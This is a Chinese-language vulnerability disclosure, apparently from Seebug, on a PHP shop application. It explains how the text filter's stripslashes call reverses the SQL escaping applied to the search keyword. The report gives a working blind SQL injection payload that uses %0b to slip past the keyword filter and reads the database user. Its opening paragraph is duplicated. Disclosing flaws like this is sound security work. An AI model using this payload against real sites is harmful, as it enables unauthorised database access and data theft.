### 简要描述: 之前的都是找程序员的疏忽,这个位置是绕过程序的防注入。 ### 详细说明: 环境: GPC = On ``` public static function sql($str) //过滤函数 { if (!get_magic_quotes_gpc()){ //gpc off 就转义,把之前那个奇葩的漏洞补了 //不使用主要是因为,先有mysql的连接 //$str = mysql_real_escape_string($str); $str = addslashes($str); } $str = preg_replace('/([^a-z]+)(select|insert|update|delete|union|into|load_file|outfile|tiny_)/i', ' $2', $str); //这个过滤是可以绕过的 return $str; } ``` 仔细找发现过滤函数中存在另外一个函数:text 内容如下: ``` /**@param $str 字符串 * @return 字符串 *@note 处理HTML编辑器的内容,主要是解决JavaScript的注入问题 */ public static function text($str) { $config = HTMLPurifier_Config::createDefault(); $cache_dir=Tiny::getPath('cache')."/htmlpurifier/"; if(!file_exists($cache_dir)) { File::mkdir($cache_dir); } $config = HTMLPurifier_Config::createDefault(); //配置 缓存目录 $config->set('Cache.SerializerPath',$cache_dir); //设置cache目录 //配置 允许flash $config->set('HTML.SafeEmbed',true); $config->set('HTML.SafeObject',true); $config->set('Output.FlashCompat',true); //$config->set('HTML.Allowed', 'p');...
### 简要描述: 之前的都是找程序员的疏忽,这个位置是绕过程序的防注入。 ### 详细说明: 环境: GPC = On ``` public static function sql($str) //过滤函数 { if (!get_magic_quotes_gpc()){ //gpc off 就转义,把之前那个奇葩的漏洞补了 //不使用主要是因为,先有mysql的连接 //$str = mysql_real_escape_string($str); $str = addslashes($str); } $str = preg_replace('/([^a-z]+)(select|insert|update|delete|union|into|load_file|outfile|tiny_)/i', ' $2', $str); //这个过滤是可以绕过的 return $str; } ``` 仔细找发现过滤函数中存在另外一个函数:text 内容如下: ``` /**@param $str 字符串 * @return 字符串 *@note 处理HTML编辑器的内容,主要是解决JavaScript的注入问题 */ public static function text($str) { $config = HTMLPurifier_Config::createDefault(); $cache_dir=Tiny::getPath('cache')."/htmlpurifier/"; if(!file_exists($cache_dir)) { File::mkdir($cache_dir); } $config = HTMLPurifier_Config::createDefault(); //配置 缓存目录 $config->set('Cache.SerializerPath',$cache_dir); //设置cache目录 //配置 允许flash $config->set('HTML.SafeEmbed',true); $config->set('HTML.SafeObject',true); $config->set('Output.FlashCompat',true); //$config->set('HTML.Allowed', 'p'); //$config->set('AutoFormat.AutoParagraph', true); //$config->set('AutoFormat.RemoveEmpty', true); //允许<a>的target属性 $def = $config->getHTMLDefinition(true); $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top'); $purifier = new HTMLPurifier($config); if (get_magic_quotes_gpc())$str = stripslashes($str); //漏洞发生的位置,如果开启了gpc,则反转义一次。 $str = $purifier->purify($str); return $str; } ``` 其中对gpc进行一次检查,反转义了。于是去找一个使用text的点。 在代码protected\controllers\index.php中: ``` //搜索与分类的条件解析 private function parseCondition() { $page = intval(Req::args("p")); $page_size = 36; $sort = Filter::int(Req::args("sort")); $sort = $sort==null?0:$sort; $cid = Filter::int(Req::args("cid")); $cid = $cid==null?0:$cid; $brand = Req::args("brand"); $price = Req::args("price"); $keyword = urldecode(Req::args('keyword')); $keyword = Filter::sql($keyword); //经过了sql $keyword = Filter::text($keyword); //但是经过text之后,\' => ' 又变回去了,成功闭合了下面的fndAll函数。 //初始化数据 $attrs = $specs = $spec_attr = $category_child = $spec_attr_selected = $selected = $has_category = $category = $current_category = array(); $where = $spec_attr_where = $url = ""; $condition_num = 0; $model = $this->model; //基本条件的建立 //关于搜索的处理 $action = strtolower(Req::args("act")); if($action=='search'){ //关于类型的处理 ////提取商品下的类型 $seo_title = $seo_keywords = $keyword; $where = "name like '%$keyword%'"; $rows = $model->table("goods")->fields("category_id,count(id) as num")->where($where)->group("category_id")->findAll(); //带入了这里进行查询 $category_ids = ""; $category_count = array(); foreach ($rows as $row) { $category_ids .= $row['category_id'].','; $category_count[$row['category_id']] = $row['num']; } $category_ids = trim($category_ids,","); $has_category = array(); $seo_description = ''; if($category_ids){ $rows = $model->table("goods_category")->where("id in ($category_ids)")->findAll(); foreach ($rows as $row) { $path = trim($row['path'],','); $paths = explode(',', $path); $root = 0; if(is_array($paths)) $root = $paths[0]; $row['num'] = $category_count[$row['id']]; $has_category[$root][] = $row; $seo_description .= $row['name'].','; } } if($cid!=0){ $where = "category_id=$cid and name like '%$keyword%'"; $category = $model->table("goods_category as gc ")->join("left join goods_type as gt on gc.type_id = gt.id")->where("gc.id=$cid")->find(); if($category){ $attrs = unserialize($category['attr']); $specs = unserialize($category['spec']); if($category['seo_title']!='') $seo_title = $category['seo_title']; else $seo_title = $category['name']; if($category['seo_keywords']!='') $seo_keywords = $category['seo_keywords']; if($category['seo_description']!='') $seo_description = $category['seo_description']; } } //关于分类检索的处理 } ``` 看注释。 ### 漏洞证明: 由于SQL函数过滤不严 可以适应%0b插入关键字绕过。 最终使用 keyword=MacBook Air%' and (ord(substring((sel%0bect user()) from 1 for 1))=114)-- 1 来bool瞩目 默认用户是root 真: [<img src="https://images.seebug.org/upload/201409/181818139b6a8885b17077709d33ff38dcf5a468.png" alt="1111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/181818139b6a8885b17077709d33ff38dcf5a468.png) 假: [<img src="https://images.seebug.org/upload/201409/181818290e6564dcb143eb7f9462a0c6d2bc0900.png" alt="2222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/181818290e6564dcb143eb7f9462a0c6d2bc0900.png) [<img src="https://images.seebug.org/upload/201409/181818510d95f5585adeb293652b798bc9af4e0b.png" alt="3333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/181818510d95f5585adeb293652b798bc9af4e0b.png)